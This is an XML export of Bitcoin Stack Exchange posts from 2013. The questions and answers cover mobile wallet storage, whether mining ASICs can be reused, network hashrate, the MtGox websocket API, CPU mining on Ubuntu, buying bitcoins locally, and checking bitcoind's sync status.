  <row Id="10419" PostTypeId="2" ParentId="8663" CreationDate="2013-04-30T10:55:13.207" Score="1" Body="&lt;p&gt;If you are in London, you could go to the local meetup group and sell them directly &lt;a href=&quot;http://www.meetup.com/London-bitcoin-meetup/&quot; rel=&quot;nofollow&quot;&gt;http://www.meetup.com/London-bitcoin-meetup/&lt;/a&gt; and there is also &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt; Both ways people can pay you in cash, with no fees.&lt;/p&gt;&#xA;" OwnerUserId="3561" LastActivityDate="2013-04-30T10:55:13.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10420" PostTypeId="1" AcceptedAnswerId="10423" CreationDate="2013-04-30T11:44:04.093" Score="2" ViewCount="192" Body="&lt;p&gt;From what I understand, both the CoinBase and BlockChain iOS apps store your wallet on their servers.   There doesn't seem to be any iOS app (or perhaps Android either) which stores your wallet locally on the mobile device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand why it may be impractical to download and store the multi-GB &lt;em&gt;blockchain&lt;/em&gt; locally on the device but the &lt;em&gt;wallet&lt;/em&gt; is usually very small.  I understand that by storing the wallet locally you risk losing your coins if your phone is lost or stolen but that could be mitigated by offering features to encrypt your wallet with a passphrase and also back it up over USB to your computer (or choose to assume the risk of loss).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some technical reason why a mobile app can't be developed that stores the wallet locally (and obviously does not transmit it to the server) but stores the blockchain on the server?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="44" LastEditDate="2013-05-09T23:29:12.383" LastActivityDate="2013-05-09T23:29:12.383" Title="mobile app which stores wallet locally" Tags="|mobile|architecture|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10421" PostTypeId="1" CreationDate="2013-04-30T11:46:24.073" Score="7" ViewCount="8526" Body="&lt;p&gt;If I purchase an ASIC (hypothetically) and then for whatever reason Bitcoin disappears, becomes defunct or otherwise, is there anything else I could possibly use it for, such as SHA256 cracking - or is there no other possible use and does it become an elaborate doorstop?&lt;/p&gt;&#xA;" OwnerUserId="4741" LastActivityDate="2013-04-30T12:22:57.837" Title="Are Bitcoin ASICs good for anything else other than mining?" Tags="|hash|asic|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-20T08:07:39.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="10422" PostTypeId="2" ParentId="10420" CreationDate="2013-04-30T12:08:39.297" Score="0" Body="&lt;p&gt;I don't think so. As long as the blockchain is safely elsewhere, a client like &lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; (which locally stores the wallet and uses a seed, but trusts an external server for the blockchain) should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there may be issues in joining a local P2P network since mobile networks don't work that way. However, there should be nothing preventing a mobile device from joining a node on the larger network (For example one of &lt;a href=&quot;https://en.bitcoin.it/wiki/Fallback_Nodes&quot; rel=&quot;nofollow&quot;&gt;these&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that nobody has really seen a market here, that's all.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastActivityDate="2013-04-30T12:08:39.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10423" PostTypeId="2" ParentId="10420" CreationDate="2013-04-30T12:21:27.980" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://electrum.org/android.html&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.miracleas.bitcoin_spinner&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the above mentioned store the wallet file locally on your phone&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-04-30T12:21:27.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10424" PostTypeId="2" ParentId="10421" CreationDate="2013-04-30T12:22:57.837" Score="5" Body="&lt;p&gt;No, Bitcoin ASICs can not be reused for any other purpose, unless something were created that uses the exact same hashing technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike what some ill-informed radio talk show hosts say, the mining network is cryptographically incompatible with SHA256 password cracking, the block chain itself is not a conspiracy by the Russians as a rainbow table.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides most hashed passwords use a salt, and the manner it is typically done is incompatible with what is being done in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, no.  The ASIC will forever be exclusive to the Bitcoin unless another RFC or standard requires a proof of work (a la Hash Cash) for some other purpose. &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-04-30T12:22:57.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10425" PostTypeId="2" ParentId="10393" CreationDate="2013-04-30T12:50:28.593" Score="0" Body="&lt;p&gt;The number of hashes per block is computed as Difficulty * 2^32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current difficulty level is 10,076,293.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that means there will be ~43,277,734,890,000,000 hashes performed to solve the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 Terahash = 1,000,000,000,000, so that means ~43,278 Thash are performed per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One block is found in 10 minutes, or 600 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that means the hashing capacity of the entire Bitcoin network is currently ~72 Thash/s.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-30T12:50:28.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10427" PostTypeId="2" ParentId="10420" CreationDate="2013-04-30T13:36:39.120" Score="1" Body="&lt;p&gt;Technically there is no reason you can't have a wallet on an iOS device, but it appears (according to &lt;a href=&quot;http://www.forbes.com/sites/jonmatonis/2012/06/13/why-apple-is-afraid-of-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;) that Apple isn't allowing Bitcoin wallets into the App Store.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-30T13:36:39.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10428" PostTypeId="1" AcceptedAnswerId="10649" CreationDate="2013-04-30T14:29:51.637" Score="2" ViewCount="4566" Body="&lt;p&gt;I want to get started with the Mt. Gox websockets API, but I can't seem to get a good response from the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sending the following (captured with Wireshark):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GET /mtgox HTTP/1.1&#xA;User-Agent: websocket-sharp/1.0&#xA;Upgrade: websocket&#xA;Connection: Upgrade&#xA;Host: websocket.mtgox.com&#xA;Sec-WebSocket-Key: LtH+YFgnW1N8KDLDbocsUQ==&#xA;Sec-WebSocket-Version: 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the server responds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP/1.1 400 Bad Request&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried sending the handshake via telnet and with this C# code and I still get a 400 Bad Request error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Program&#xA;{&#xA;    static void Main(string[] args)&#xA;    {&#xA;        ClientWebSocket ws = new ClientWebSocket();&#xA;        Task connectionTask = ws.ConnectAsync(new Uri(&quot;ws://websocket.mtgox.com/mtgox&quot;), CancellationToken.None);&#xA;        Console.Write(&quot;Connecting&quot;);&#xA;        while (!connectionTask.IsCompleted)&#xA;        {&#xA;            Console.Write(&quot;.&quot;);&#xA;            Thread.Sleep(100);&#xA;        }&#xA;        Console.WriteLine(ws.State);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The last line printed is &quot;Closed&quot; and when I inspect the handshake with Wireshark I see the same 400 Bad Request)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I'm doing wrong? I can't see much documentation or samples using the websockets API so I don't really have anything to compare to :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In response to sta's suggestion, I tried this (using WebsocketSharp):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void Main(string[] args)&#xA;{&#xA;    WebSocket ws = new WebSocket(&quot;ws://websocket.mtgox.com/mtgox&quot;);&#xA;    ws.Origin = &quot;http://websocket.mtgox.com&quot;;&#xA;    ws.Connect();&#xA;    ws.OnMessage += (sender, e) =&amp;gt;&#xA;    {&#xA;        if (!String.IsNullOrEmpty(e.Data))&#xA;        {&#xA;            Console.WriteLine(&quot;{0}&quot;, e.Data);&#xA;        }&#xA;    };&#xA;    Console.WriteLine(&quot;{0}&quot;, ws.IsAlive);&#xA;    Console.ReadLine();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays &lt;code&gt;FALSE&lt;/code&gt; so there's still something I'm doing wrong :/ I haven't had a chance to dig into WebSocketSharp yet though&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;With WebsocketSharp setting the Origin header correctly, Wireshark shows the mtgox server accepting the websocket upgrade:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP/1.1 101 Switching Protocols\r\n&#xA;Upgrade: websocket\r\n&#xA;Connection: Upgrade\r\n&#xA;Sec-WebSocket-Accept: 2+1ghzJ/Itt6w1aBdUteghcsJHk=\r\n&#xA;\r\n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But WebSocketSharp still reports the connection as closed :(&lt;/p&gt;&#xA;" OwnerUserId="4744" LastEditorUserId="4744" LastEditDate="2013-05-12T02:32:14.180" LastActivityDate="2013-05-13T17:24:50.597" Title="MtGox websockets api returning &quot;400 Bad Request&quot;" Tags="|mtgox|api|c#|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10429" PostTypeId="2" ParentId="10418" CreationDate="2013-04-30T14:40:48.710" Score="1" Body="&lt;p&gt;Although those particular CPUs aren't listed, you can infer from the other CPUs in that table that the hashrate will be only a few Mhash per second. CPU mining isn't cost effective today. (Which is why the list of hash rates for CPUs is fairly out of date.) See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/59/is-cpu-mining-even-worth-it?rq=1&quot;&gt;this question about whether CPU mining is worth it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your follow up from the question comments, it's not entirely clear how ASICs will change mining because the number of ASIC machines shipped has been so limited.  If ASIC vendors could deliver in volume at the promised amounts of GHash, yes, they would probably be the only lucrative way to mine going forward. But all predictions regarding the future of mining have to be taken with a grain of salt: it's always hard to predict the future. The end of GPU mining has been predicted for a couple years now, but the rising exchange rate has been keeping it alive.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-04-30T16:41:37.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10430" PostTypeId="2" ParentId="10358" CreationDate="2013-04-30T15:01:34.037" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=94903.msg1985705#msg1985705&quot; rel=&quot;nofollow&quot;&gt;As Nanotube said&lt;/a&gt;, MagicalTux made this plugin himself.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-30T15:01:34.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10431" PostTypeId="2" ParentId="10393" CreationDate="2013-04-30T18:25:41.200" Score="0" Body="&lt;p&gt;In response to the question the OP also posed in Steven Rooses answer's, comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot; I guess this leaves me with 2 followups: (1) I guess I'm looking for the relationship between GH/s and CPU/GPU clockspeed. If I have, say, a 3GHz CPU, does that mean that in 3 seconds, I'm operating at 3GH/s? And (2) For the current year (2013), what is the average number of hashes miners have to create in order to &quot;solve a block&quot;, or how could I find this information? I ask because I'm trying to do some feasibility/proof-of-concept work here. Thanks again for all your awesome answers! &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connection between clock speed and hashing power is somewhat not existent. The real factor is how many pieces of hardware on the chip you have that are dedicated to doing operations the SHA-256 hashing (read mining) algorithm uses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know exactly the steps of the SHA-256 algorithm, but lets say the algorithm only needs to use hardware x, y, and z to work. And by hardware I mean literally what is printed on the Integrated Circuit. So you only need x, y, and z but you have a CPU that has hardware a-z, at that point only 3/26% of your CPU's computational power is useful to mining. This happens in real life. Most CPU's have a lot of hardware for a bunch of applications. Like floating point number math units, arithmetic logic units, etc. Well if hashing only uses one of these many CPU hardware's the rest of the CPU is worthless to mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason GPU's are better is they have more hardware on their chips that are useful to mining. Moreover they have a higher percentage of useful hardware on their chips. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC's which are Application Specific Integrated Circuits have ONLY what is needed for the SHA-256 algorithm. Thus 100% of the chip is doing useful work towards mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing we must remember too is that there are IC printing sizes. If we can only print with a resolution of 100nm then we can only fit so many hardwares on the IC, if we can print smaller we can print more hardware on the IC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets compare a hypothetical 200nm fabrication process ASIC to a 32nm fabrication process GPU, we can fit 6.25 times more hardwares onto the IC in the GPU than the ASIC (200nm/32nm = 6.25). But the ASIC is 100% for mining and the GPU might only have 50% its hardware useful for mining. So we might suspect the GPU in this case to outperform the ASIC chip for chip. Because even 50% of the GPU has 3 times more useful mining hardwares than the ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The average number of hashes to solve a block. Impossible to tell you. You would have to average every single hash every single miner has made to date, most of which are never saved. So there is no definite answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin protocol is made such that hopefully on average a block is solved every ten minutes. How hard it is to solve a block is based on the difficulty. The difficulty is changed, as you might suspect, to make it more or less difficult to solve a block in case it is taking shorter or longer than ten minutes on average to solve a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the best answer is the number of hashes on average to solve a block is based on the past hashing power of the network. The protocol averages out some data points, makes a educated guess based on the average, and then sets the new difficulty so that the average line lies on the 10 minute block mark. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One interesting thing, you have the same chance each time you try a hash to find a block. This is because the outcome of the SHA-256 algorithm is, to humans, random. Changing the input but just a little can dramatically change the output (ie hash value), we also cannot tell how the output will change based on a change to the input. So say you hash at 1 Mhash. or about 1 million hashes a second. So you are doing the SHA-256 algorithm a million times a second, each has the same chance to &quot;solve&quot; the block. So you literally could solve the next million blocks in one second. Which is so unfathomably unlikely, if you could truly understand how unlikely it is you might die. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[As always, correct me where I am wrong]&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-04-30T18:25:41.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10433" PostTypeId="2" ParentId="10402" CreationDate="2013-04-30T20:03:47.277" Score="2" Body="&lt;p&gt;Despite the popular consensus on the matter, banks probably aren't specifically Bitcoin-unfriendly.  The repeated bank problems for exchanges probably come down to three main things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Automatic risk triggers&lt;/strong&gt; -- Banks have a lot of mechanisms in place that throw up warning bells when a new customer starts moving lots of money around, is rapidly depositing and withdrawing large amounts of money, etc.  In the past, such activities have often been associated with money laundering, crime, and the sorts of things that are generally bad for business.  Even if a Bitcoin business isn't a problem, it &lt;em&gt;looks&lt;/em&gt; like one to the risk algorithms.  If, over time, Bitcoin businesses prove to in fact be low-risk while driving significant business for the banks, the algorithms may be adapted to take this into account.  But they're not rewriting their risk algorithms for what is from their perspective one tiny new technology (and that's probably responsible of them).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Regulatory compliance&lt;/strong&gt; -- When risk triggers are activated, the first thing the bank wants to know is whether a business is fully compliant with anti-money-laundering legislation.  Many Bitcoin businesses and exchanges are, but the fact is that some aren't.  They haven't been &lt;em&gt;prosecuted&lt;/em&gt; for it, but they weren't doing all the paperwork that they really should have been.  Sometimes it's not really the business owner's fault either--financial legalities can be complicated and arcane.  Nonetheless, failure to comply is a huge liability for a bank.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Legitimate risks&lt;/strong&gt; -- Finally, despite their volatility, bitcoins are a much &quot;harder&quot; currency than most bank deposits and transfers, in the sense that a bitcoin transaction can't be reversed, while bank deposits and transfers are all the time.  That means there is a massive incentive for individually shady customers to move ill-gotten gains out of the banking system and into bitcoins, and there's nothing the Bitcoin exchanges and businesses can really do about that.  This is a &lt;strong&gt;major&lt;/strong&gt; risk problem for a bank, who could end up out some serious money if transferred cash is later &quot;charged back.&quot;  At least one major bank recently has quoted risk assessments of individual customers, rather than the exchange itself, as the reason for closing an account.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;  Bitcoin &lt;em&gt;per se&lt;/em&gt; doesn't have as much to do with it as many people think, and in most cases all three of these issues will apply equally at &lt;em&gt;any&lt;/em&gt; financial institution regardless of their personal biases, or (more likely) ignorance regarding Bitcoin itself.  &lt;strong&gt;So in the sense that you're asking, there may not &lt;em&gt;be&lt;/em&gt; such a thing as a Bitcoin-friendly bank.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-05-01T05:08:13.843" LastActivityDate="2013-05-01T05:08:13.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10434" PostTypeId="2" ParentId="8892" CreationDate="2013-04-30T20:21:59.673" Score="4" Body="&lt;p&gt;QuickBitcoin (&lt;a href=&quot;http://quickbitcoin.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://quickbitcoin.co.uk&lt;/a&gt;) accepts UK bank transfers for bitcoins.  There are no fees, and transactions are very quick.&lt;/p&gt;&#xA;" OwnerUserId="4749" LastActivityDate="2013-04-30T20:21:59.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10435" PostTypeId="1" AcceptedAnswerId="10452" CreationDate="2013-04-30T21:37:44.373" Score="10" ViewCount="21455" Body="&lt;p&gt;I want to exchange my Canadian dollars for Bitcoins. How can this be done? If it helps I have some American cash.&lt;/p&gt;&#xA;" OwnerUserId="2552" LastActivityDate="2020-07-07T10:37:04.387" Title="How can I get bitcoins in Canada?" Tags="|buy-bitcoins|canada|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10436" PostTypeId="1" AcceptedAnswerId="10685" CreationDate="2013-04-30T22:34:36.143" Score="3" ViewCount="1636" Body="&lt;p&gt;BitPay allows merchants to price their products in USD, and receive USD when a customer pays using Bitcoin. The exchange rate used at the time of purchase is calculated somehow by BitPay, but &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;their website&lt;/a&gt; doesn't indicate how it's calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If at the time of purchase BitPay immediately sold an equivalent number of bitcoins on, say, MtGox then the exchange rate used should be pretty close to the highest Bid price at that point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many people must have purchased items through BitPay. I'm interested in knowing what exchange rates were available on MtGox (or other exchanges) within a few minutes of the time of purchase, and what exchange rate was provided by BitPay. Can anyone provide an example of this?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2015-09-01T19:35:33.127" Title="When purchasing an item through BitPay, how do their exchange rates compare with the market exchange rates?" Tags="|exchange-rate|payment-processors|bitpay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10437" PostTypeId="1" CreationDate="2013-04-30T22:53:04.660" Score="6" ViewCount="18317" Body="&lt;p&gt;I don't intend to do this long term as I am pretty sure the cost of the power would exceed the earnings, this is more for educational purposes. What I'm looking for is a command line miner for Ubuntu. What I've tried so far is using &lt;code&gt;poclbm.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./poclbm.py -d 0 http://worker:pass@api.bitcoin.cz:8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however this only gives me &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No PyOpenCL&#xA;&#xA;&#xA;Not using OpenCL&#xA;&#xA;&#xA;Nothing to mine on, exiting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've found several guides on how to use &lt;code&gt;poclbm&lt;/code&gt; however they seem to be out of date. That is to say that the command line arguments don't match up with the current project. I also have pyserial installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it all up I don't care if I use &lt;code&gt;poclbm&lt;/code&gt; or not I'm just looking for a tool to get up and running.&lt;/p&gt;&#xA;" OwnerUserId="4751" LastActivityDate="2019-07-11T01:12:10.730" Title="Running a command line bitcoin CPU miner on ubuntu for slush's pool" Tags="|ubuntu|cpu|poclbm|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10438" PostTypeId="2" ParentId="8892" CreationDate="2013-04-30T23:08:15.667" Score="1" Body="&lt;p&gt;I have tried using &lt;a href=&quot;http://bitbargain.co.uk&quot; rel=&quot;nofollow&quot;&gt;BitBargain.co.uk&lt;/a&gt; - it is a cut above the Mt Gox price, but not as much so as QuickBitcoin. You'll likely get a better deal if you can find someone on LocalBitcoins though. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2013-04-30T23:08:15.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10439" PostTypeId="2" ParentId="9411" CreationDate="2013-04-30T23:28:32.493" Score="1" Body="&lt;p&gt;It's possible that, at any time, the exchanges could close down and keep all your coins. I doubt the larger exchanges would do this but smaller rogue operators could essentially fold up and take everything. But then again -as seen in Cyprus- banks can do the same thing!&lt;/p&gt;&#xA;" OwnerUserId="4754" LastEditorUserId="4748" LastEditDate="2013-06-02T09:59:01.560" LastActivityDate="2013-06-02T09:59:01.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10441" PostTypeId="2" ParentId="9068" CreationDate="2013-04-30T23:49:33.130" Score="0" Body="&lt;p&gt;Throw the script below into your /home/$USER/.bashrc file and restart your shell.&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;alias bitcoindSynced='&lt;br/&gt;&lt;br/&gt;&#xA;bitcoindSynced() {&lt;br/&gt;&#xA;blockCount=`bitcoind getblockcount`&lt;br/&gt;&#xA;blockChain=`wget -O - http://blockchain.info/q/getblockcount`&lt;br/&gt;&#xA;blockDiff=`expr $blockChain - $blockCount`&lt;br/&gt;&lt;br/&gt;&#xA;if [ $blockDiff = 0 ]&lt;br/&gt;&#xA;then&lt;br/&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo &quot;up to date&quot;&lt;br/&gt;&#xA;else&lt;br/&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo &quot;$blockDiff blocks behind&quot;&lt;br/&gt;&#xA;fi&lt;br/&gt;&#xA;}&lt;br/&gt;&lt;br/&gt;&#xA;bitcoindSynced 2&gt;/dev/null'&lt;br/&gt;&#xA;&lt;/code&gt;&#xA;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you run the command&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;bitcoindSynced&lt;br/&gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will be provided with the number of blocks left to sync,&lt;br/&gt;&#xA;or if your client is up to date it will let you know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;Also, if you don't want to restart your shell you can just run the command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;source /home/$USER/.bashrc&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it will do the same thing.&lt;/p&gt;&#xA;" OwnerUserId="4755" LastEditorUserId="4755" LastEditDate="2013-05-01T00:02:32.963" LastActivityDate="2013-05-01T00:02:32.963" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10442" PostTypeId="1" CreationDate="2013-05-01T00:48:19.287" Score="3" ViewCount="826" Body="&lt;p&gt;I read about latency on P2Pool being a bad thing. Is this latency between the miner and P2Pool, or P2Pool and the network, or both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to decide if I should host P2Pool pool on one of my servers in a datacenter, or at home where my miners are.&lt;/p&gt;&#xA;" OwnerUserId="4431" LastEditorUserId="5406" LastEditDate="2014-08-10T23:33:05.187" LastActivityDate="2014-08-10T23:33:05.187" Title="P2Pool latency, should I host in a datacenter or at home?" Tags="|mining-pools|p2pool|latency|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10443" PostTypeId="2" ParentId="9068" CreationDate="2013-05-01T00:58:39.220" Score="16" Body="&lt;p&gt;There is no way for checking whether syncing is done, simply because it isn't &lt;em&gt;known&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slightly abstractly, and probably not useful in your case, the client is &lt;em&gt;always&lt;/em&gt; syncing: there is no real difference between &quot;having all blocks&quot; and &quot;not having all blocks&quot; - it always has all blocks that it knows about, and doesn't know whether there are blocks which it misses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the GUI shows you is a guess. It checks the age of the last known block, and if it is (IIRC) more than 90 minutes ago, it assumes it's out of sync. This is usually a good indicator, but it will rarely yet certainly randomly fail from time to time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core code has another heuristic built-in, which uses block heights reported by other nodes (without verifying that information in any way, so it's easily cheated). This information is used to determine whether it should optimize cache behaviour for many fast operations, or reliability. It's not exposed directly either, but the getwork() and getblocktemplate() RPCs will fail in this mode.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-01T00:58:39.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10444" PostTypeId="1" AcceptedAnswerId="10451" CreationDate="2013-05-01T01:37:05.943" Score="1" ViewCount="357" Body="&lt;p&gt;Bitcoin, on average, has a block every 10 minute. There are &lt;a href=&quot;https://bitcointalk.org/index.php?topic=130222&quot; rel=&quot;nofollow&quot;&gt;advantages&lt;/a&gt; (&lt;a href=&quot;https://bitcoil.co.il/Doublespend.pdf&quot; rel=&quot;nofollow&quot;&gt;pdf&lt;/a&gt;) to having a higher &quot;clock rate&quot;, e.g. Litecoin's block every 2.5 minutes. I call &quot;BitcoinX4&quot; the theoretical blockchain that is achieved by speeding up block creation time (hardfork), without affecting the total number of coins (block reward reduced by a factor of 4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is conceivable that at some point in the future, a &quot;split&quot; or &quot;hard fork&quot; will be made in Bitcoin, such that its blocks will be generated with a different (higher?) frequency, possibly while keeping a mining majority. For this to happen (hash power majority), ASICs need to be able to crunch the new &quot;BitcoinX4&quot; chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question - are the known ASICs today compatible with changing the block speed?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:55:29.927" LastActivityDate="2016-03-16T07:55:29.927" Title="Could ASICs be used to mine a &quot;BitcoinX4&quot; blockchain?" Tags="|asic|mining-theory|block-interval|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10445" PostTypeId="2" ParentId="10444" CreationDate="2013-05-01T01:42:24.730" Score="1" Body="&lt;p&gt;ASICs just calculate double SHA256 (using the correct data size of 80 bytes, and linking between the two hashes &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7236/bitcoin-mining-asics-used-for-cryptographic-application-rainbow-tables/7264#7264&quot;&gt;as described here&lt;/a&gt;). They do not care about protocol rules regarding transactions. ASICs can be used to mine many potential Bitcoin alts/hardforks, as long as the core Proof of Work algorithm remains double SHA256.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-05-01T06:44:27.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
